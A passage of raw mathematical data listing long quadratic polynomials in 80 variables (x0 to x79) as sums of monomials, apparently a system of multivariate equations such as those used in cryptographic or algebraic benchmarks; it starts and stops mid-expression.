x52*x62 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x53*x55 + x53*x58 + x53*x62 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x75 + x54*x79 + x54 + x55*x56 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x59 + x56*x62 + x56*x63 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x69 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x61 + x58*x62 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x76 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x69 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x60*x61 + x60*x63 + x60*x67 + x60*x71 + x60*x74 + x60*x77 + x60*x79 + x60 + x61*x65 + x61*x66 + x61*x67 + x61*x70 + x61*x71 + x61*x72 + x61*x77 + x61*x78 + x61*x79 + x62*x63 + x62*x65 + x62*x66 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x78 + x63*x65 + x63*x66 + x63*x67 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x66 + x64*x70 + x64*x71 + x64*x74 + x64*x76 + x64*x77 + x64*x79 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x69 + x66*x71 + x66*x73 + x66*x74 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x75 + x67*x76 + x67*x77 + x68*x70 + x68*x72 + x68*x73 + x68*x76 + x68*x78 + x69*x70 + x69*x75 + x69*x76 + x69*x78 + x70*x73 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x72*x73 + x72*x75 + x72*x76 + x72*x78 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73 + x74*x77 + x74*x78 + x74 + x75*x76 + x75 + x76*x77 + x76*x78 + x77*x78 + 1, x0*x5 + x0*x7 + x0*x10 + x0*x16 + x0*x18 + x0*x20 + x0*x24 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x34 + x0*x37 + x0*x38 + x0*x39 + x0*x41 + x0*x44 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x60 + x0*x61 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x71 + x0*x72 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x12 + x1*x14 + x1*x19 + x1*x23 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x36 + x1*x37 + x1*x38 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x52 + x1*x55 + x1*x57 + x1*x59 + x1*x60 + x1*x61 + x1*x62 + x1*x63 + x1*x65 + x1*x67 + x1*x71 + x1*x73 + x1*x77 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x30 + x2*x31 + x2*x34 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x43 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x78 + x2*x79 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x19 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x39 + x3*x40 + x3*x42 + x3*x43 + x3*x45 + x3*x46 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x74 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x26 + x4*x30 + x4*x32 + x4*x38 + x4*x39 + x4*x43 + x4*x45 + x4*x46 + x4*x48 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x57 + x4*x58 + x4*x60 + x4*x61 + x4*x66 + x4*x70 + x4*x75 + x4*x77 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x29 + x5*x30 + x5*x32 + x5*x35 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x60 + x5*x61 + x5*x66 + x5*x67 + x5*x69 + x5*x73 + x5 + x6*x7 + x6*x10 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x22 + x6*x25 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x40 + x6*x41 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x51 + x6*x52 + x6*x53 + x6*x55 + x6*x58 + x6*x59 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x70 + x6*x73 + x6*x77 + x6*x78 + x7*x8 + x7*x9 + x7*x10 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x28 + x7*x29 + x7*x31 + x7*x34 + x7*x41 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x52 + x7*x56 + x7*x57 + x7*x58 + x7*x61 + x7*x64 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x73 + x7*x75 + x7*x76 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x19 + x8*x22 + x8*x24 + x8*x27 + x8*x29 + x8*x31 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x50 + x8*x54 + x8*x58 + x8*x59 + x8*x60 + x8*x64 + x8*x74 + x8*x76 + x8*x77 + x9*x11 + x9*x12 + x9*x16 + x9*x18 + x9*x22 + x9*x23 + x9*x26 + x9*x28 + x9*x30 + x9*x31 + x9*x41 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x62 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x74 + x9*x76 + x10*x12 + x10*x13 + x10*x16 + x10*x20 + x10*x25 + x10*x27 + x10*x30 + x10*x31 + x10*x32 + x10*x34 + x10*x35 + x10*x36 + x10*x39 + x10*x40 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x54 + x10*x56 + x10*x61 + x10*x63 + x10*x64 + x10*x65 + x10*x69 + x10*x71 + x10*x75 + x10*x76 + x10*x79 + x11*x14 + x11*x16 + x11*x19 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x39 + x11*x40 + x11*x43 + x11*x46 + x11*x47 + x11*x49 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x61 + x11*x63 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x25 + x12*x26 + x12*x27 + x12*x30 + x12*x31 + x12*x34 + x12*x36 + x12*x38 + x12*x40 + x12*x43 + x12*x44 + x12*x46 + x12*x50 + x12*x54 + x12*x59 + x12*x60 + x12*x61 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x72 + x12*x77 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x29 + x13*x32 + x13*x34 + x13*x36 + x13*x37 + x13*x43 + x13*x44 + x13*x45 + x13*x49 + x13*x50 + x13*x53 + x13*x55 + x13*x56 + x13*x59 + x13*x60 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13 + x14*x16 + x14*x18 + x14*x20 + x14*x21 + x14*x25 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x37 + x14*x39 + x14*x42 + x14*x48 + x14*x49 + x14*x53 + x14*x54 + x14*x55 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x65 + x14*x67 + x14*x70 + x14*x72 + x14*x74 + x14*x75 + x14*x77 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x23 + x15*x32 + x15*x35 + x15*x40 + x15*x43 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x53 + x15*x54 + x15*x56 + x15*x58 + x15*x59 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x69 + x15*x70 + x15*x72 + x15*x77 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x21 + x16*x25 + x16*x26 + x16*x28 + x16*x30 + x16*x32 + x16*x33 + x16*x34 + x16*x36 + x16*x37 + x16*x41 + x16*x44 + x16*x45 + x16*x46 + x16*x51 + x16*x56 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x70 + x16*x71 + x16*x73 + x16*x75 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x37 + x17*x39 + x17*x40 + x17*x43 + x17*x48 + x17*x49 + x17*x51 + x17*x53 + x17*x55 + x17*x57 + x17*x60 + x17*x61 + x17*x62 + x17*x70 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x36 + x18*x38 + x18*x39 + x18*x44 + x18*x47 + x18*x48 + x18*x51 + x18*x53 + x18*x54 + x18*x56 + x18*x59 + x18*x60 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x69 + x18*x70 + x18*x71 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x22 + x19*x26 + x19*x28 + x19*x30 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x40 + x19*x41 + x19*x42 + x19*x47 + x19*x49 + x19*x52 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x72 + x19*x73 + x19*x78 + x20*x21 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x44 + x20*x46 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x55 + x20*x56 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x64 + x20*x66 + x20*x68 + x20*x70 + x20*x71 + x20*x74 + x20*x75 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x38 + x21*x40 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x70 + x21*x73 + x21*x76 + x21*x79 + x22*x23 + x22*x24 + x22*x26 + x22*x28 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x64 + x22*x66 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x38 + x23*x41 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x64 + x23*x65 + x23*x66 + x23*x69 + x23*x71 + x23*x79 + x23 + x24*x29 + x24*x30 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x38 + x24*x39 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x55 + x24*x56 + x24*x61 + x24*x64 + x24*x65 + x24*x69 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x25*x26 + x25*x28 + x25*x29 + x25*x32 + x25*x33 + x25*x36 + x25*x38 + x25*x40 + x25*x43 + x25*x44 + x25*x46 + x25*x47 + x25*x50 + x25*x53 + x25*x54 + x25*x55 + x25*x60 + x25*x62 + x25*x63 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x73 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x33 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x49 + x26*x52 + x26*x53 + x26*x57 + x26*x61 + x26*x63 + x26*x65 + x26*x67 + x26*x68 + x26*x69 + x26*x71 + x26*x72 + x26*x74 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x69 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x43 + x28*x45 + x28*x46 + x28*x48 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x58 + x28*x64 + x28*x68 + x28*x74 + x28*x77 + x28*x79 + x28 + x29*x32 + x29*x36 + x29*x38 + x29*x40 + x29*x43 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x50 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x66 + x29*x70 + x29*x71 + x29*x75 + x29*x77 + x29*x78 + x30*x31 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x47 + x30*x50 + x30*x51 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x65 + x30*x70 + x30*x76 + x31*x34 + x31*x35 + x31*x38 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x47 + x31*x48 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x60 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x78 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x47 + x32*x48 + x32*x50 + x32*x51 + x32*x52 + x32*x59 + x32*x60 + x32*x62 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x73 + x32*x75 + x32*x77 + x32*x79 + x33*x36 + x33*x43 + x33*x44 + x33*x46 + x33*x47 + x33*x48 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x60 + x33*x65 + x33*x67 + x33*x68 + x33*x69 + x33*x71 + x33*x72 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x41 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x60 + x34*x63 + x34*x66 + x34*x68 + x34*x75 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x49 + x35*x51 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x64 + x35*x65 + x35*x67 + x35*x68 + x35*x69 + x35*x70 + x35*x71 + x35*x73 + x35*x74 + x35*x75 + x35*x79 + x35 + x36*x39 + x36*x40 + x36*x42 + x36*x49 + x36*x50 + x36*x51 + x36*x52 + x36*x55 + x36*x58 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x46 + x37*x49 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x68 + x37*x69 + x37*x70 + x37*x74 + x37*x79 + x38*x39 + x38*x44 + x38*x48 + x38*x51 + x38*x53 + x38*x56 + x38*x59 + x38*x66 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x75 + x38*x77 + x38*x78 + x38*x79 + x39*x40 + x39*x45 + x39*x49 + x39*x51 + x39*x53 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x44 + x40*x46 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x57 + x40*x61 + x40*x63 + x40*x66 + x40*x67 + x40*x69 + x40*x70 + x40*x72 + x40*x74 + x40*x75 + x40*x79 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x62 + x41*x64 + x41*x67 + x41*x68 + x41*x69 + x41*x70 + x41*x71 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x45 + x42*x47 + x42*x49 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x62 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x69 + x42*x74 + x42 + x43*x44 + x43*x47 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x58 + x43*x63 + x43*x67 + x43*x68 + x43*x70 + x43*x75 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x69 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x51 + x45*x52 + x45*x59 + x45*x60 + x45*x64 + x45*x66 + x45*x69 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x50 + x46*x51 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x74 + x46*x76 + x46*x77 + x46*x78 + x47*x50 + x47*x52 + x47*x54 + x47*x56 + x47*x58 + x47*x64 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x49 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x79 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x77 + x49*x79 + x49 + x50*x51 + x50*x53 + x50*x54 + x50*x59 + x50*x61 + x50*x62 + x50*x66 + x50*x67 + x50*x71 + x50*x72 + x50*x77 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x58 + x51*x62 + x51*x63 + x51*x64 + x51*x66 + x51*x67 + x51*x69 + x51*x71 + x51*x73 + x51*x75 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x62 + x52*x64 + x52*x67 + x52*x71 + x52*x73 + x52*x74 + x52*x77 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x60 + x53*x63 + x53*x64 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x77 + x53 + x54*x59 + x54*x60 + x54*x61 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x54 + x55*x59 + x55*x60 + x55*x61 + x55*x64 + x55*x65 + x55*x66 + x55*x70 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x76 + x55 + x56*x57 + x56*x58 + x56*x64 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x78 + x57*x58 + x57*x59 + x57*x62 + x57*x63 + x57*x65 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x75 + x57*x79 + x58*x59 + x58*x60 + x58*x63 + x58*x68 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x79 + x60*x61 + x60*x63 + x60*x66 + x60*x67 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x75 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x71 + x61*x78 + x62*x63 + x62*x68 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x67 + x63*x74 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x74 + x64*x77 + x64*x78 + x64*x79 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65*x76 + x66*x67 + x66*x71 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x79 + x67 + x68*x70 + x68*x71 + x68*x73 + x68*x75 + x68*x77 + x68*x78 + x68*x79 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x74 + x70*x76 + x70*x77 + x70 + x71*x73 + x72*x73 + x72*x76 + x72*x77 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x77 + x75*x79 + x76*x77 + x76*x78 + x76 + x78 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x21 + x0*x24 + x0*x26 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x35 + x0*x40 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x50 + x0*x51 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x58 + x0*x61 + x0*x64 + x0*x67 + x0*x68 + x0*x71 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x1*x2 + x1*x4 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x20 + x1*x22 + x1*x25 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x62 + x1*x64 + x1*x65 + x1*x69 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x12 + x2*x13 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x20 + x2*x23 + x2*x25 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x44 + x2*x51 + x2*x53 + x2*x58 + x2*x64 + x2*x67 + x2*x68 + x2*x69 + x2*x71 + x2*x77 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x13 + x3*x17 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x34 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x46 + x3*x48 + x3*x52 + x3*x53 + x3*x56 + x3*x59 + x3*x61 + x3*x63 + x3*x64 + x3*x65 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x13 + x4*x14 + x4*x15 + x4*x19 + x4*x23 + x4*x24 + x4*x31 + x4*x32 + x4*x36 + x4*x40 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x49 + x4*x51 + x4*x52 + x4*x57 + x4*x59 + x4*x63 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x76 + x4*x77 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x18 + x5*x19 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x38 + x5*x44 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x53 + x5*x55 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x69 + x5*x74 + x5*x77 + x5*x78 + x5 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x15 + x6*x18 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x29 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x63 + x6*x65 + x6*x66 + x6*x68 + x6*x70 + x6*x72 + x6*x73 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x11 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x38 + x7*x39 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x50 + x7*x54 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x12 + x8*x14 + x8*x15 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x42 + x8*x43 + x8*x46 + 